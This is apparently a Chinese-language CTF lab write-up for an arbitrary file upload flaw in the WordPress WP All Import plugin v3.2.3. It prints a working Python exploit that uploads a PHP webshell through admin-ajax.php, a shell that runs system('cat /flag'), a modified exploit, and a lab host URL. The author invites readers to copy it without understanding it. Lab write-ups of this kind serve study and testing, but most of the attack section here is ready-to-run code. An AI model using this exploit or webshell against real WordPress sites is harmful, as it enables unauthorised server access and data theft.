靶场简介
wordpress插件 WordPress WP All Import plugin v3.2.3 存在任意文件上传,可以上传shell。
网上公开的POC
#/usr/local/bin/python3
-*-coding:utf-8-*-
import requests,os
site="URL"
file_to_upload ='shell.php'
up_req = requests.post('http://'+site+'/wp-admin/admin-ajax.php?page=pmxi-admin-settings&action=upload&name=evil.php',data=open(file_to_upload,'rb').read())
up_dir = os.popen('php -r "print md5(strtotime(\''+up_req.headers['date']+'\'));"').read()
print ("http://"+site+"/wp-content/uploads/wpallimport/uploads/"+up_dir+"/%s" % "evil.php")
shell.php内容:
<?php
system('cat /flag');phpinfo();
?>
其中
up_dir = os.popen('php -r "print md5(strtotime(\''+up_req.headers['date']+'\'));"').read()
这段代码是Python代码,其中使用了os.popen来执行一个命令行命令:
up_req.headers[‘date’]: 这是从up_req.headers字典中获取键为’date’的值。这很可能是HTTP请求的头部信息中的日期。
strtotime(‘’+up_req.headers[‘date’]+‘’): 这里使用了PHP的strtotime函数来将获取到的日期字符串转化为时间戳。
php -r “print md5(strtotime(‘’+up_req.headers[‘date’]+‘’));”: 这是一个PHP命令行指令,它会计算上述日期字符串的时间戳的MD5哈希值并打印出来。
os.popen(‘…’).read(): 使用Python的os.popen方法执行上述PHP命令,并读取其输出。
因为春秋云镜原因,为了让大家已学习为目的,修改了靶场上传
所以只允许以下文件上传
修改后的POC
上传webshel后,获取当前上传时间
import requests,os
import hashlib
from datetime import datetime
site="URL"
file_to_upload ='shell.zip'
up_req = requests.post('http://'+site+'/wp-admin/admin-ajax.php?page=pmxi-admin-settings&action=upload&name=evil.php',data=open(file_to_upload,'rb').read())
print(up_req.headers['date'])
使用在线PHP执行工具,生成时间戳
Wed, 31 Jan 2024 07:14:49 GMT
得到+8时的北京时间时间戳和他的MD5值。
(因为大部分人过不去的原因,我猜可能是因为自己的系统没有PHP的函数,所以无法执行脚本)
http://eci-2ze96rpujhdxmjrfyixm.cloudeci1.ichunqiu.com/wp-content/uploads/wpallimport/uploads/替换这里/evil.php
抄吧脚本小子,反正我也不知道原理。
关注都关注了,就别取消了。